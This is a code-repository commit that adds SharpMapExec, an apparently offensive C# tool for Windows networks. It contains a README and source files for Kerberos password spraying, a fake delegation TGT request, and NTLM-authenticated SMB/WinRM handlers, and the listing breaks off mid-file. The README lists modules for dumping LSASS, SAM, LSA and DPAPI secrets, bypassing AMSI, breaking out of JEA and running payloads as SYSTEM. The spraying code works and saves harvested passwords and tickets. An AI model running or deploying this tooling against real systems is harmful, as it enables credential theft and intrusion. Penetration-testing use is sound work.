Projects STRLCPY SharpMapExec Commits 6592ae66
🤬
Showing first 35 files as there are too many
  • .vs/SharpMapExec/v16/.suo
    Binary file.
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# SharpMapExec
     2 + 
     3 +A sharpen version of [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec). This tool is made to simplify penetration testing of networks and to create a swiss army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.
     4 + 
     5 + 
     6 + 
     7 +Besides scanning for access it can be used to identify vulnerable configurations and exfiltrate data. The idea for the data exfiltration modules is to execute the least amount of necessary code on the remote computer. To accomplish this, the tool will download all the secrets to the loot directory and parse them locally.
     8 + 
     9 + 
     10 + 
     11 +You can specify if you want to use Kerberos or NTLM authentication. If you choose Kerberos, the tool will create a sacrificial token and use [Rubeus](https://github.com/GhostPack/Rubeus) to import/ask for the ticket. If NTLM is specified, it tool will create threads and use [SharpKatz](https://github.com/b4rtik/SharpKatz) to run SetThreadToken if an NTLM hash is specified, and if a password is specified, it will go with ordinary c# impersonation.
     12 + 
     13 +```
     14 +SharpMapExec.exe
     15 + usage:
     16 + 
     17 + --- Smb ---
     18 + SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
     19 + SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
     20 + 
     21 + Available Smb modules
     22 + /m:shares
     23 + 
     24 + --- WinRm ---
     25 + SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
     26 + SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
     27 + 
     28 + Available WinRm modules
     29 + /m:exec /a:whoami (Invoke-Command)
     30 + /m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
     31 + /m:comsvcs (Dump Lsass Process)
     32 + /m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
     33 + /m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
     34 + /m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
     35 + /m:download /path:C:\file /destination:file (Download File from Host)
     36 + 
     37 + --- Domain ---
     38 + SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
     39 + SharpMapExec.exe tgtdeleg
     40 +```
     41 + 
     42 +### Smb
     43 + 
     44 +Can be used to scan for admin access and accessible Smb shares.
     45 + 
     46 +### WinRm
     47 + 
     48 +The beast. It has built-in Amsi bypass, JEA language breakout, JEA function analysis. Can be used for code execution, scaning for PsRemote access, vulnerable JEA endpoints, and data exfiltration.
     49 + 
     50 +Modules;
     51 + 
     52 +````
     53 +/m:exec /a:whoami (Invoke-Command)
     54 +/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
     55 +/m:comsvcs (Dump Lsass Process)
     56 +/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
     57 +/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
     58 +/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
     59 +/m:download /path:C:\file /destination:file (Download File from Host)
     60 +````
     61 + 
     62 +### Domain
     63 + 
     64 +Currently supports domain password spraying and to create a TGT for the current user that can be used with the `/ticket` parameter to get the current context.
     65 + 
     66 +### Example usage
     67 + 
     68 +For easy or mass in-memory execution of C# assemblies
     69 + 
     70 +![](images/mass_assembly.png)
     71 + 
     72 +Kerberos password spraying then scanning for local admin access
     73 + 
     74 +![](images/spray+admin.png)
     75 + 
     76 +This project supports scanning JEA endpoints and will analyze source code of non default commands and check if the endpoint was not configured for `no-language` mode.
     77 + 
     78 +![](images/jea.png)
     79 + 
     80 +Discover local admin password reuse with an NT hash.
     81 + 
     82 +![](images/localadmin.png)
     83 + 
     84 +Mass dump Lsass process with built-in Microsoft signed DLL and saves it to the `loot` folder
     85 + 
     86 +![](images/lsassdump.png)
     87 + 
     88 +And much more!
     89 + 
     90 +Some scenarios with Kerberos will require you to sync your clock with the DC and set the DNS
     91 + 
     92 +```powershell
     93 +net time \\DC01.hackit.local /set
     94 +Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
     95 +```
     96 + 
     97 + 
     98 + 
     99 + 
     100 + 
     101 +### Acknowledgments
     102 + 
     103 +Projects that helped and are existing in this tool
     104 + 
     105 +* [Rubeus](https://github.com/GhostPack/Rubeus) [@Harmj0y](https://twitter.com/harmj0y)
     106 + 
     107 +* [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) [@Harmj0y](https://twitter.com/harmj0y)
     108 + 
     109 +* [SharpKatz](https://github.com/b4rtik/SharpKatz) [@b4rtik](https://twitter.com/b4rtik)
     110 + 
     111 +* [Amsi.Fail](https://github.com/Flangvik/AMSI.fail) [@Flangvik](https://twitter.com/Flangvik)
     112 + 
     113 +* [SharpSecDump](https://github.com/G0ldenGunSec/SharpSecDump) [@G0ldenGunSec](https://twitter.com/G0ldenGunSec)
     114 + 
     115 +
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Args/ArgumentParser.cs
     1 +using System.Collections.Generic;
     2 +using System.Diagnostics;
     3 + 
     4 +namespace SharpMapExec.args
     5 +{
     6 + public static class ArgumentParser
     7 + {
     8 + public static ArgumentParserResult Parse(IEnumerable<string> args)
     9 + {
     10 + var arguments = new Dictionary<string, string>();
     11 + try
     12 + {
     13 + foreach (var argument in args)
     14 + {
     15 + var idx = argument.IndexOf(':');
     16 + if (idx > 0)
     17 + arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
     18 + else
     19 + arguments[argument] = string.Empty;
     20 + }
     21 + 
     22 + return ArgumentParserResult.Success(arguments);
     23 + }
     24 + catch (System.Exception ex)
     25 + {
     26 + Debug.WriteLine(ex.Message);
     27 + return ArgumentParserResult.Failure();
     28 + }
     29 + }
     30 + }
     31 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Args/ArgumentParserResult.cs
     1 +using System.Collections.Generic;
     2 + 
     3 +namespace SharpMapExec.args
     4 +{
     5 + public class ArgumentParserResult
     6 + {
     7 + public bool ParsedOk { get; }
     8 + public Dictionary<string, string> Arguments { get; }
     9 + 
     10 + private ArgumentParserResult(bool parsedOk, Dictionary<string, string> arguments)
     11 + {
     12 + ParsedOk = parsedOk;
     13 + Arguments = arguments;
     14 + }
     15 + 
     16 + public static ArgumentParserResult Success(Dictionary<string, string> arguments)
     17 + => new ArgumentParserResult(true, arguments);
     18 + 
     19 + public static ArgumentParserResult Failure()
     20 + => new ArgumentParserResult(false, null);
     21 + }
     22 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Args/CommandCollection.cs
     1 +using SharpMapExec.Commands;
     2 +using System;
     3 +using System.Collections.Generic;
     4 + 
     5 +namespace SharpMapExec.args
     6 +{
     7 + public class CommandCollection
     8 + {
     9 + private readonly Dictionary<string, Func<ICommand>> _availableCommands = new Dictionary<string, Func<ICommand>>();
     10 + 
     11 + // To Add A New Command:
     12 + // 1. Create your command class in the Commands Folder
     13 + // 2. That class must have a CommandName static property that has the Command's name
     14 + // and must also Implement the ICommand interface
     15 + // 3. Put the code that does the work into the Execute() method
     16 + // 4. Add an entry to the _availableCommands dictionary in the Constructor below.
     17 + 
     18 + public CommandCollection()
     19 + {
     20 + _availableCommands.Add(kerbspray.CommandName, () => new kerbspray());
     21 + _availableCommands.Add(kerberosSmb.CommandName, () => new kerberosSmb());
     22 + _availableCommands.Add(kerberosWinrm.CommandName, () => new kerberosWinrm());
     23 + _availableCommands.Add(NtlmWinrm.CommandName, () => new NtlmWinrm());
     24 + _availableCommands.Add(NtlmSmb.CommandName, () => new NtlmSmb());
     25 + }
     26 + 
     27 + public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
     28 + {
     29 + bool commandWasFound;
     30 + 
     31 + if (string.IsNullOrEmpty(commandName) || _availableCommands.ContainsKey(commandName) == false)
     32 + commandWasFound = false;
     33 + else
     34 + {
     35 + // Create the command object
     36 + var command = _availableCommands[commandName].Invoke();
     37 + // and execute it with the arguments from the command line
     38 + command.Execute(arguments);
     39 + commandWasFound = true;
     40 + }
     41 + 
     42 + return commandWasFound;
     43 + }
     44 + }
     45 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Args/Info.cs
     1 +using System;
     2 + 
     3 +namespace SharpMapExec.args
     4 +{
     5 + public static class Info
     6 + {
     7 + public static void ShowUsage()
     8 + {
     9 + Console.WriteLine("\r\n SharpMapExec.exe\r\n usage:");
     10 + 
     11 + //smb
     12 + Console.WriteLine("\r\n --- Smb ---");
     13 + Console.WriteLine(@" SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET");
     14 + Console.WriteLine(@" SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET");
     15 + Console.WriteLine("\n Available Smb modules");
     16 + Console.WriteLine(@" /m:shares");
     17 + 
     18 + //WinRm
     19 + Console.WriteLine("\r\n --- WinRm ---");
     20 + Console.WriteLine(@" SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET ");
     21 + Console.WriteLine(@" SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET");
     22 + Console.WriteLine("\n Available WinRm modules");
     23 + Console.WriteLine(@" /m:exec /a:whoami (Invoke-Command)");
     24 + Console.WriteLine(@" /m:exec /a:C:\beacon.exe /system (Invoke-Command as System)");
     25 + Console.WriteLine(@" /m:comsvcs (Dump Lsass Process)");
     26 + Console.WriteLine(@" /m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)");
     27 + Console.WriteLine(@" /m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)");
     28 + Console.WriteLine(@" /m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)");
     29 + Console.WriteLine(@" /m:download /path:C:\file /destination:file (Download File from Host)");
     30 + 
     31 + //domain
     32 + Console.WriteLine("\r\n --- Domain ---");
     33 + Console.WriteLine(@" SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC");
     34 + Console.WriteLine(@" SharpMapExec.exe tgtdeleg");
     35 + 
     36 + Console.WriteLine("\r\n");
     37 + }
     38 + }
     39 +}
  • ■ ■ ■ ■ ■
    SharpMapExec/Commands/Class1.cs
     1 +
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Commands/ICommand.cs
     1 +using System.Collections.Generic;
     2 + 
     3 +namespace SharpMapExec.Commands
     4 +{
     5 + public interface ICommand
     6 + {
     7 + void Execute(Dictionary<string, string> arguments);
     8 + }
     9 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Commands/KerberosSpray.cs
     1 +using Rubeus;
     2 +using System;
     3 +using System.Collections;
     4 +using System.Collections.Generic;
     5 +using System.DirectoryServices;
     6 +using System.DirectoryServices.AccountManagement;
     7 +using System.IO;
     8 +using System.Linq;
     9 +using System.Text.RegularExpressions;
     10 + 
     11 +namespace SharpMapExec.Commands
     12 +{
     13 + public class kerbspray : ICommand
     14 + {
     15 + public static string CommandName => "kerbspray";
     16 + 
     17 + private string domain = "";
     18 + private string[] usernames = null;
     19 + private string[] passwords = null;
     20 + private string dc = "";
     21 + private string ou = "";
     22 + private string credUser = "";
     23 + private string credDomain = "";
     24 + private string credPassword = "";
     25 + private string outfile = "";
     26 + private uint verbose = 0;
     27 + private bool saveTickets = true;
     28 + 
     29 + protected class BruteArgumentException : ArgumentException
     30 + {
     31 + public BruteArgumentException(string message)
     32 + : base(message)
     33 + {
     34 + }
     35 + }
     36 + 
     37 + public void Execute(Dictionary<string, string> arguments)
     38 + {
     39 + try
     40 + {
     41 + this.ParseArguments(arguments);
     42 + this.ObtainUsers();
     43 + 
     44 + IBruteforcerReporter consoleReporter = new BruteforceConsoleReporter(
     45 + this.outfile, this.verbose, this.saveTickets);
     46 + 
     47 + Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter);
     48 + bool success = bruter.Attack(this.usernames, this.passwords);
     49 + if (success)
     50 + {
     51 + if (!String.IsNullOrEmpty(this.outfile))
     52 + {
     53 + Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile);
     54 + }
     55 + else
     56 + {
     57 + Console.WriteLine("\r\n[+] Done\r\n", this.outfile);
     58 + }
     59 + }
     60 + else
     61 + {
     62 + Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n");
     63 + }
     64 + }
     65 + catch (BruteArgumentException ex)
     66 + {
     67 + Console.WriteLine("\r\n" + ex.Message + "\r\n");
     68 + }
     69 + catch (RubeusException ex)
     70 + {
     71 + Console.WriteLine("\r\n" + ex.Message + "\r\n");
     72 + }
     73 + }
     74 + 
     75 + private void ParseArguments(Dictionary<string, string> arguments)
     76 + {
     77 + this.ParseDomain(arguments);
     78 + this.ParseOU(arguments);
     79 + this.ParseDC(arguments);
     80 + this.ParseCreds(arguments);
     81 + this.ParsePasswords(arguments);
     82 + this.ParseUsers(arguments);
     83 + this.ParseOutfile(arguments);
     84 + this.ParseVerbose(arguments);
     85 + this.ParseSaveTickets(arguments);
     86 + }
     87 + 
     88 + private void ParseDomain(Dictionary<string, string> arguments)
     89 + {
     90 + if (arguments.ContainsKey("/domain"))
     91 + {
     92 + this.domain = arguments["/domain"];
     93 + }
     94 + else
     95 + {
     96 + this.domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
     97 + }
     98 + }
     99 + 
     100 + private void ParseOU(Dictionary<string, string> arguments)
     101 + {
     102 + if (arguments.ContainsKey("/ou"))
     103 + {
     104 + this.ou = arguments["/ou"];
     105 + }
     106 + }
     107 + 
     108 + private void ParseDC(Dictionary<string, string> arguments)
     109 + {
     110 + if (arguments.ContainsKey("/dc"))
     111 + {
     112 + this.dc = arguments["/dc"];
     113 + }
     114 + else
     115 + {
     116 + this.dc = this.domain;
     117 + }
     118 + }
     119 + 
     120 + private void ParseCreds(Dictionary<string, string> arguments)
     121 + {
     122 + if (arguments.ContainsKey("/creduser"))
     123 + {
     124 + if (!Regex.IsMatch(arguments["/creduser"], ".+\\.+", RegexOptions.IgnoreCase))
     125 + {
     126 + throw new BruteArgumentException("[X] /creduser specification must be in fqdn format (domain.com\\user)");
     127 + }
     128 + 
     129 + string[] parts = arguments["/creduser"].Split('\\');
     130 + this.credDomain = parts[0];
     131 + this.credUser = parts[1];
     132 + 
     133 + if (!arguments.ContainsKey("/credpassword"))
     134 + {
     135 + throw new BruteArgumentException("[X] /credpassword is required when specifying /creduser");
     136 + }
     137 + 
     138 + this.credPassword = arguments["/credpassword"];
     139 + }
     140 + }
     141 + 
     142 + private void ParsePasswords(Dictionary<string, string> arguments)
     143 + {
     144 + if (arguments.ContainsKey("/passwords"))
     145 + {
     146 + try
     147 + {
     148 + this.passwords = File.ReadAllLines(arguments["/passwords"]);
     149 + }
     150 + catch (FileNotFoundException)
     151 + {
     152 + throw new BruteArgumentException("[X] Unable to open passwords file \"" + arguments["/passwords"] + "\": Not found file");
     153 + }
     154 + }
     155 + else if (arguments.ContainsKey("/password"))
     156 + {
     157 + this.passwords = new string[] { arguments["/password"] };
     158 + }
     159 + else
     160 + {
     161 + throw new BruteArgumentException(
     162 + "[X] You must supply a password! Use /password:<password> or /passwords:<file>");
     163 + }
     164 + }
     165 + 
     166 + private void ParseUsers(Dictionary<string, string> arguments)
     167 + {
     168 + if (arguments.ContainsKey("/users"))
     169 + {
     170 + try
     171 + {
     172 + this.usernames = File.ReadAllLines(arguments["/users"]);
     173 + }
     174 + catch (FileNotFoundException)
     175 + {
     176 + throw new BruteArgumentException("[X] Unable to open users file \"" + arguments["/users"] + "\": Not found file");
     177 + }
     178 + }
     179 + else if (arguments.ContainsKey("/user"))
     180 + {
     181 + this.usernames = new string[] { arguments["/user"] };
     182 + }
     183 + }
     184 + 
     185 + private void ParseOutfile(Dictionary<string, string> arguments)
     186 + {
     187 + if (arguments.ContainsKey("/outfile"))
     188 + {
     189 + this.outfile = arguments["/outfile"];
     190 + }
     191 + }
     192 + 
     193 + private void ParseVerbose(Dictionary<string, string> arguments)
     194 + {
     195 + if (arguments.ContainsKey("/verbose"))
     196 + {
     197 + this.verbose = 2;
     198 + }
     199 + }
     200 + 
     201 + private void ParseSaveTickets(Dictionary<string, string> arguments)
     202 + {
     203 + if (arguments.ContainsKey("/noticket"))
     204 + {
     205 + this.saveTickets = false;
     206 + }
     207 + }
     208 + 
     209 + private void ObtainUsers()
     210 + {
     211 + if (this.usernames == null)
     212 + {
     213 + this.usernames = this.DomainUsernames();
     214 + }
     215 + else
     216 + {
     217 + if (this.verbose == 0)
     218 + {
     219 + this.verbose = 1;
     220 + }
     221 + }
     222 + }
     223 + 
     224 + private string[] DomainUsernames()
     225 + {
     226 + string domainController = this.DomainController();
     227 + string bindPath = this.BindPath(domainController);
     228 + DirectoryEntry directoryObject = new DirectoryEntry(bindPath);
     229 + 
     230 + if (!String.IsNullOrEmpty(this.credUser))
     231 + {
     232 + string userDomain = String.Format("{0}\\{1}", this.credDomain, this.credUser);
     233 + 
     234 + if (!this.AreCredentialsValid())
     235 + {
     236 + throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!");
     237 + }
     238 + 
     239 + directoryObject.Username = userDomain;
     240 + directoryObject.Password = this.credPassword;
     241 + 
     242 + Console.WriteLine("[*] Using alternate creds : {0}\r\n", userDomain);
     243 + }
     244 + 
     245 + DirectorySearcher userSearcher = new DirectorySearcher(directoryObject);
     246 + userSearcher.Filter = "(samAccountType=805306368)";
     247 + userSearcher.PropertiesToLoad.Add("samAccountName");
     248 + 
     249 + try
     250 + {
     251 + SearchResultCollection users = userSearcher.FindAll();
     252 + 
     253 + ArrayList usernames = new ArrayList();
     254 + 
     255 + foreach (SearchResult user in users)
     256 + {
     257 + string username = user.Properties["samAccountName"][0].ToString();
     258 + usernames.Add(username);
     259 + }
     260 + 
     261 + return usernames.Cast<object>().Select(x => x.ToString()).ToArray();
     262 + }
     263 + catch (System.Runtime.InteropServices.COMException ex)
     264 + {
     265 + switch ((uint)ex.ErrorCode)
     266 + {
     267 + case 0x8007052E:
     268 + throw new BruteArgumentException("[X] Login error when retrieving usernames from dc \"" + domainController + "\"! Try it by providing valid /creduser and /credpassword");
     269 + case 0x8007203A:
     270 + throw new BruteArgumentException("[X] Error connecting with the dc \"" + domainController + "\"! Make sure that provided /domain or /dc are valid");
     271 + case 0x80072032:
     272 + throw new BruteArgumentException("[X] Invalid syntax in DN specification! Make sure that /ou is correct");
     273 + case 0x80072030:
     274 + throw new BruteArgumentException("[X] There is no such object on the server! Make sure that /ou is correct");
     275 + default:
     276 + throw ex;
     277 + }
     278 + }
     279 + }
     280 + 
     281 + private string DomainController()
     282 + {
     283 + string domainController = null;
     284 + 
     285 + if (String.IsNullOrEmpty(this.dc))
     286 + {
     287 + domainController = Networking.GetDCName();
     288 + 
     289 + if (domainController == "")
     290 + {
     291 + throw new BruteArgumentException("[X] Unable to find DC address! Try it by providing /domain or /dc");
     292 + }
     293 + }
     294 + else
     295 + {
     296 + domainController = this.dc;
     297 + }
     298 + 
     299 + return domainController;
     300 + }
     301 + 
     302 + private string BindPath(string domainController)
     303 + {
     304 + string bindPath = String.Format("LDAP://{0}", domainController);
     305 + 
     306 + if (!String.IsNullOrEmpty(this.ou))
     307 + {
     308 + string ouPath = this.ou.Replace("ldap", "LDAP").Replace("LDAP://", "");
     309 + bindPath = String.Format("{0}/{1}", bindPath, ouPath);
     310 + }
     311 + else if (!String.IsNullOrEmpty(this.domain))
     312 + {
     313 + string domainPath = this.domain.Replace(".", ",DC=");
     314 + bindPath = String.Format("{0}/DC={1}", bindPath, domainPath);
     315 + }
     316 + 
     317 + return bindPath;
     318 + }
     319 + 
     320 + private bool AreCredentialsValid()
     321 + {
     322 + using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, this.credDomain))
     323 + {
     324 + return pc.ValidateCredentials(this.credUser, this.credPassword);
     325 + }
     326 + }
     327 + }
     328 + 
     329 + public class BruteforceConsoleReporter : IBruteforcerReporter
     330 + {
     331 + private uint verbose;
     332 + private string passwordsOutfile;
     333 + private bool saveTicket;
     334 + private bool reportedBadOutputFile = false;
     335 + 
     336 + public BruteforceConsoleReporter(string passwordsOutfile, uint verbose = 0, bool saveTicket = true)
     337 + {
     338 + this.verbose = verbose;
     339 + this.passwordsOutfile = passwordsOutfile;
     340 + this.saveTicket = saveTicket;
     341 + }
     342 + 
     343 + public void ReportValidPassword(string domain, string username, string password, byte[] ticket)
     344 + {
     345 + Console.WriteLine("[+] STUPENDOUS => {0}:{1}", username, password);
     346 + this.WriteUserPasswordToFile(username, password);
     347 + string ticketFilename = username + ".kirbi";
     348 + File.WriteAllBytes(ticketFilename, ticket);
     349 + Console.WriteLine("[*] Saved TGT into {0}", ticketFilename);
     350 + }
     351 + 
     352 + public void ReportValidUser(string domain, string username)
     353 + {
     354 + if (verbose > 0)
     355 + {
     356 + Console.WriteLine("[+] Valid user => {0}", username);
     357 + }
     358 + }
     359 + 
     360 + public void ReportInvalidUser(string domain, string username)
     361 + {
     362 + if (this.verbose > 1)
     363 + {
     364 + Console.WriteLine("[-] Invalid user => {0}", username);
     365 + }
     366 + }
     367 + 
     368 + public void ReportBlockedUser(string domain, string username)
     369 + {
     370 + Console.WriteLine("[-] Blocked/Disabled user => {0}", username);
     371 + }
     372 + 
     373 + public void ReportKrbError(string domain, string username, KRB_ERROR krbError)
     374 + {
     375 + Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username,
     376 + krbError.error_code, (Interop.KERBEROS_ERROR)krbError.error_code);
     377 + }
     378 + 
     379 + private void WriteUserPasswordToFile(string username, string password)
     380 + {
     381 + if (String.IsNullOrEmpty(this.passwordsOutfile))
     382 + {
     383 + return;
     384 + }
     385 + 
     386 + string line = String.Format("{0}:{1}{2}", username, password, Environment.NewLine);
     387 + try
     388 + {
     389 + File.AppendAllText(this.passwordsOutfile, line);
     390 + }
     391 + catch (UnauthorizedAccessException)
     392 + {
     393 + if (!this.reportedBadOutputFile)
     394 + {
     395 + Console.WriteLine("[X] Unable to write credentials in \"{0}\": Access denied", this.passwordsOutfile);
     396 + this.reportedBadOutputFile = true;
     397 + }
     398 + }
     399 + }
     400 + }
     401 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Commands/KerberosTgtdeleg.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using Rubeus;
     4 +using Rubeus.lib.Interop;
     5 + 
     6 +namespace SharpMapExec.Commands
     7 +{
     8 + public class Tgtdeleg : ICommand
     9 + {
     10 + public static string CommandName => "tgtdeleg";
     11 + 
     12 + public void Execute(Dictionary<string, string> arguments)
     13 + {
     14 + Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n");
     15 + 
     16 + if (arguments.ContainsKey("/target"))
     17 + {
     18 + byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
     19 + }
     20 + else
     21 + {
     22 + byte[] blah = LSA.RequestFakeDelegTicket();
     23 + }
     24 + }
     25 + }
     26 +}
     27 + 
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Commands/NtlmSmb.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.IO;
     4 +using static SharpMapExec.Helpers.SecurityContext;
     5 +using static SharpMapExec.Lib.ntlmsmb;
     6 + 
     7 +namespace SharpMapExec.Commands
     8 +{
     9 + public class NtlmSmb : ICommand
     10 + {
     11 + public static string CommandName => "ntlmsmb";
     12 + 
     13 + public void Execute(Dictionary<string, string> arguments)
     14 + {
     15 + string[] user;
     16 + string domain = "";
     17 + string[] computernames;
     18 + var hash = new NTHash();
     19 + var password = new ClearText();
     20 + string module = "";
     21 + string moduleargument = "";
     22 + List<string> flags = new List<string>();
     23 + 
     24 + if (arguments.ContainsKey("/m"))
     25 + {
     26 + module = arguments["/m"];
     27 + }
     28 + if (arguments.ContainsKey("/module"))
     29 + {
     30 + module = arguments["/module"];
     31 + }
     32 + if (arguments.ContainsKey("/a"))
     33 + {
     34 + moduleargument = arguments["/a"];
     35 + }
     36 + if (arguments.ContainsKey("/argument"))
     37 + {
     38 + moduleargument = arguments["/argument"];
     39 + }
     40 + 
     41 + if (arguments.ContainsKey("/domain"))
     42 + {
     43 + domain = arguments["/domain"];
     44 + }
     45 + else
     46 + {
     47 + domain = ".";
     48 + }
     49 + 
     50 + if (arguments.ContainsKey("/user"))
     51 + {
     52 + if (File.Exists(arguments["/user"]))
     53 + {
     54 + user = File.ReadAllLines(arguments["/user"]);
     55 + }
     56 + else
     57 + {
     58 + string[] parts = arguments["/user"].Split('\\');
     59 + if (parts.Length == 2)
     60 + {
     61 + domain = parts[0];
     62 + user = parts[1].Split(',');
     63 + }
     64 + else
     65 + {
     66 + user = arguments["/user"].Split(',');
     67 + }
     68 + }
     69 + }
     70 + else
     71 + {
     72 + Console.WriteLine("[-] /user must be supplied!");
     73 + return;
     74 + }
     75 + 
     76 + if (arguments.ContainsKey("/computername"))
     77 + {
     78 + if (File.Exists(arguments["/computername"]))
     79 + {
     80 + computernames = File.ReadAllLines(arguments["/computername"]);
     81 + }
     82 + else
     83 + {
     84 + computernames = arguments["/computername"].Split(',');
     85 + }
     86 + }
     87 + else
     88 + {
     89 + Console.WriteLine("[-] /computername must be supplied!");
     90 + return;
     91 + }
     92 + 
     93 + if (arguments.ContainsKey("/password"))
     94 + {
     95 + if (File.Exists(arguments["/password"]))
     96 + {
     97 + password.Cleartext = File.ReadAllLines(arguments["/password"]);
     98 + }
     99 + else
     100 + {
     101 + password.Cleartext = arguments["/password"].Split(',');
     102 + }
     103 + }
     104 + else if (arguments.ContainsKey("/ntlm"))
     105 + {
     106 + if (File.Exists(arguments["/ntlm"]))
     107 + {
     108 + hash.Nthash = File.ReadAllLines(arguments["/ntlm"]);
     109 + }
     110 + else
     111 + {
     112 + hash.Nthash = arguments["/ntlm"].Split(',');
     113 + }
     114 + }
     115 + else
     116 + {
     117 + Console.WriteLine("[-] /password or /ntlm must be supplied");
     118 + return;
     119 + }
     120 + if (password.Cleartext != null)
     121 + {
     122 + NtlmSmb(user, domain, password, computernames, module, moduleargument);
     123 + }
     124 + else
     125 + {
     126 + NtlmSmb(user, domain, hash, computernames, module, moduleargument);
     127 + }
     128 + }
     129 + }
     130 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Commands/NtlmWinrm.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.IO;
     4 +using static SharpMapExec.Helpers.SecurityContext;
     5 +using static SharpMapExec.Lib.ntlmwinrm;
     6 + 
     7 +namespace SharpMapExec.Commands
     8 +{
     9 + public class NtlmWinrm : ICommand
     10 + {
     11 + public static string CommandName => "ntlmwinrm";
     12 + 
     13 + public void Execute(Dictionary<string, string> arguments)
     14 + {
     15 + string[] user;
     16 + string domain = "";
     17 + string path = "";
     18 + string destination = "";
     19 + string[] computernames;
     20 + var hash = new NTHash();
     21 + var password = new ClearText();
     22 + string module = "";
     23 + string moduleargument = "";
     24 + List<string> flags = new List<string>();
     25 + 
     26 + if (arguments.ContainsKey("/d"))
     27 + {
     28 + destination = arguments["/d"];
     29 + }
     30 + if (arguments.ContainsKey("/destination"))
     31 + {
     32 + destination = arguments["/destination"];
     33 + }
     34 + if (arguments.ContainsKey("/p"))
     35 + {
     36 + path = arguments["/p"];
     37 + }
     38 + if (arguments.ContainsKey("/path"))
     39 + {
     40 + path = arguments["/path"];
     41 + }
     42 + if (arguments.ContainsKey("/m"))
     43 + {
     44 + module = arguments["/m"];
     45 + }
     46 + if (arguments.ContainsKey("/module"))
     47 + {
     48 + module = arguments["/module"];
     49 + }
     50 + if (arguments.ContainsKey("/a"))
     51 + {
     52 + moduleargument = arguments["/a"];
     53 + }
     54 + if (arguments.ContainsKey("/argument"))
     55 + {
     56 + moduleargument = arguments["/argument"];
     57 + }
     58 + if (arguments.ContainsKey("/assystem") || arguments.ContainsKey("/system"))
     59 + {
     60 + flags.Add("system");
     61 + }
     62 + 
     63 + if (arguments.ContainsKey("/domain"))
     64 + {
     65 + domain = arguments["/domain"];
     66 + }
     67 + else
     68 + {
     69 + domain = ".";
     70 + }
     71 + 
     72 + if (arguments.ContainsKey("/user"))
     73 + {
     74 + if (File.Exists(arguments["/user"]))
     75 + {
     76 + user = File.ReadAllLines(arguments["/user"]);
     77 + }
     78 + else
     79 + {
     80 + string[] parts = arguments["/user"].Split('\\');
     81 + if (parts.Length == 2)
     82 + {
     83 + domain = parts[0];
     84 + user = parts[1].Split(',');
     85 + }
     86 + else
     87 + {
     88 + user = arguments["/user"].Split(',');
     89 + }
     90 + }
     91 + }
     92 + else
     93 + {
     94 + Console.WriteLine("[-] /user must be supplied!");
     95 + return;
     96 + }
     97 + 
     98 + if (arguments.ContainsKey("/computername"))
     99 + {
     100 + if (File.Exists(arguments["/computername"]))
     101 + {
     102 + computernames = File.ReadAllLines(arguments["/computername"]);
     103 + }
     104 + else
     105 + {
     106 + computernames = arguments["/computername"].Split(',');
     107 + }
     108 + }
     109 + else
     110 + {
     111 + Console.WriteLine("[-] /computername must be supplied!");
     112 + return;
     113 + }
     114 + 
     115 + if (arguments.ContainsKey("/password"))
     116 + {
     117 + if (File.Exists(arguments["/password"]))
     118 + {
